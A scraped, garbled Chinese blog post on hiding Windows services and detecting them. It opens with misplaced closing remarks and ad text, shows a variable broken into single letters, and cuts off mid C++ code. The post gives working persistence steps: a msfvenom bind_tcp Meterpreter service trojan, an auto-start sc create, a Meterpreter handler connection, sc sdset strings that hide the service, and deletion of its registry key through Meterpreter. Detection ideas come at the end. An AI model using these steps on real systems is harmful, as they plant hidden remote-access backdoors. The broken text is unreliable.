写在最后
在结束之际,我想重申的是,学习并非如攀登险峻高峰,而是如滴水穿石般的持久累积。尤其当我们步入工作岗位之后,持之以恒的学习变得愈发不易,如同在茫茫大海中独自划舟,稍有松懈便可能被巨浪吞噬。然而,对于我们程序员而言,学习是生存之本,是我们在激烈市场竞争中立于不败之地的关键。一旦停止学习,我们便如同逆水行舟,不进则退,终将被时代的洪流所淘汰。因此,不断汲取新知识,不仅是对自己的提升,更是对自己的一份珍贵投资。让我们不断磨砺自己,与时代共同进步,书写属于我们的辉煌篇章。
需要完整版PDF学习资源私我
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
m
a
l
i
c
i
o
u
s
S
e
r
v
i
c
e
s
=
f
o
r
e
a
c
h
(
maliciousServices = foreach (
maliciousServices=foreach(service in $services) {
$queryOutput = sc.exe query $service 2>&1
if ($queryOutput -like "*拒绝访问*") {
$configOutput = sc.exe qc $service
[PSCustomObject]@{
ServiceName = $service
Status = "拒绝访问"
Config = $configOutput
}
}
}
if ($maliciousServices) {
Write-Host “发现以下恶意服务:”
$maliciousServices | Format-Table -AutoSize -Property ServiceName, Status
foreach ($service in $maliciousServices) {
Write-Host "--------------------------------------------------"
Write-Host "Service Name: $($service.ServiceName)"
Write-Host "Status: $($service.Status)"
Write-Host "Service Config:"
$configLines = $service.Config -split "`n"
$configLines | ForEach-Object {
$configLine = $_.Trim()
if ($configLine -ne "" -and $configLine -notlike "[*]*") {
Write-Host $configLine
}
}
Write-Host "--------------------------------------------------"
}
} else {
Write-Host “未发现恶意服务.”
}

当然了,这是美化后的,如果你想简单一些,直接用下面的几行就够了
$services = Get-ChildItem “HKLM:\SYSTEM\CurrentControlSet\Services” | ForEach-Object { $_.PSChildName }
foreach ($service in $services) {
$queryOutput = sc.exe query $service 2>&1
if ($queryOutput -like "*拒绝访问*") {
Write-Output $service
}
}

### 0x07 高权限法
通过 `PsExec64.exe` 来获取 `SYSTEM` 权限
>
> `PsExec64.exe` 是 `SysinternalsSuite` 套件中一款工具
>
>
> https://learn.microsoft.com/zh-cn/sysinternals/downloads/sysinternals-suite
>
>
>
PsExec64.exe -i -s cmd

>
> `PsExec` 似乎会导致输入法部分功能出现问题
>
>
>
尝试通过 `SYSTEM` 权限的 `cmd` 进行查询
sc queryex | findstr “XblGameSave”

`sc` 看不到隐藏的服务
尝试通过 `SYSTEM` 启动 `services.msc`

`services.msc` 看不到

`powershell` 看不到

`wmic` 看不到
创建低权限的用户组和新用户也不行
看来高权限法不行
### 0x08 删除服务
经过枚举法,已经获取到服务名称,现在通过 `sc sdset` 设置权限
sc sdset “XblGameSave” “D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)”


这样就可以通过 `services.msc` 进行管理了

删除服务
sc delete “ServiceName”
### 0x09 删除注册表文件夹会怎么样
#### 1. 创建木马
这次使用 `msf` 生成一个服务木马来模拟服务
msfvenom -p windows/meterpreter/bind_tcp lport=4455 -f exe-service -o bind.exe
注意,这里指定的文件类型是 `exe-service` ,`MSF` 专门为服务准备的一类木马,中文资料上提到这个事极少
#### 2. 创建服务
sc create test binPath= “C:\Users\Administrator\Desktop\bind.exe” start= auto depend= Tcpip obj= Localsystem
创建一个名为 `test` 的服务,开机自启动执行木马程序,监听 `4455` 端口

启动服务测试一下
sc start test

#### 3. MSF 连接木马
msfconsole -q
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set rhost 10.211.55.6
set lport 4455
exploit

服务已经正常启动,关闭连接,重启受害服务器,无用户登录状态下再次尝试连接


再次获取 `shell`,服务自启动没问题
#### 4. 观察 MSF 服务情况
再次重启服务器,登录后查看服务信息如下

从服务来看 `test` 服务已经停止了
从进程角度来看

没有主动监听`shell` 相关进程
通过 `MSF` 进行连接

服务监听是存在的
从网络层面看

可以看到 `MSF` 与受害主机之间的连接

通过 `wmic` 查看详细情况
wmic process where ProcessId=2216 get Name, ExecutablePath, CommandLine /format:list

这样看来 `exe-service` 生成的是一个 `dll` 文件

#### 5. 通过 SDDL 设置隐藏服务
sc sdset “test” “D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)”


此时已经 `Services.msc` 已经看不到 `test` 服务了,这个上面我们已经测试过了

获得的 `shell` 不受影响
#### 6. 尝试删除注册表项

尝试在 `Meterpreter` 中远程完成删除
reg deletekey -k “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\test”


注册表项成功被删除,这下我们原来的脚本应该也查不到隐藏的服务了


服务不受影响,这个看了上一篇文章的朋友们肯定有预期了,修改注册表对服务来说会在下次启动的时候才会有作用


* `sc qc` 进行查询显示找不到指定的文件
* `sc query` 显示还是拒绝访问
尝试重启服务器


服务已经不存在了
### 0x10 思考排查方法
一般攻击者使用服务都是做持久化控制的,删掉注册表来对抗隐藏不是常规的思路,但是毕竟大家面对的也不是一群常规的人,如果真的是出现了这种奇葩,该如何进行检测呢?
注册表已经没了,现在还保存着服务列表信息的就只有内存里了吧
#### 1. 进程角度
服务终究还是会产生一个或多个进程,按照它要实现的功能在内存空间执行,这就属于常规角度了
当然,可以把 `Rundll32.exe` 作为一个标志,很多安全软件也是这么做的,但是它的启动参数没有指定恶意 `DLL` 位置,而且感觉不太严谨
#### 2. 日志查询
通过日志 `Windows 日志 -> 系统`

其中来源为 `Service Control Manager` 的日志会记录服务的创建与执行
#### 3. Windows API
如果 `Windows API` 呢
#include
#include <windows.h>
#include <winsvc.h>
int main()
{
SC_HANDLE schSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ENUMERATE_SERVICE);
if (schSCManager == NULL)
{
std::cout << “Failed to open Service Control Manager.” << std::endl;
return 1;
}
DWORD dwBytesNeeded, dwServicesReturned, dwResumeHandle = 0;
EnumServicesStatusEx(
schSCManager,
SC_ENUM_PROCESS_INFO,
SERVICE_TYPE_ALL,
SERVICE_STATE_ALL,
NULL,
0,
&dwBytesNeeded,
&dwServicesReturned,
&dwResumeHandle,
NULL
);
LPENUM_SERVICE_STATUS_PROCESS lpServices = (LPENUM_SERVICE_STATUS_PROCESS)malloc(dwBytesNeeded);
if (lpServices == NULL)
{
std::cout << “Failed to allocate memory.” << std::endl;
CloseServiceHandle(schSCManager);
return 1;
}
if (!EnumServicesStatusEx(
schSCManager,
SC_ENUM_PROCESS_INFO,
SERVICE_TYPE_ALL,
SERVICE_STATE_ALL,
(LPBYTE)lpServices,
dwBytesNeeded,
&dwBytesNeeded,
&dwServicesReturned,
&dwResumeHandle,
NULL
))
{
std::cout << “Failed to enumerate services.” << std::endl;
free(lpServices);
CloseServiceHandle(schSCManager);
return 1;
}
std::cout << “Services:” << std::endl;
for (DWORD i = 0; i < dwServicesReturned; i++)
{
std::wstring serviceName(lpServices[i].lpServiceName);
std::wcout << serviceName << std::endl;
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!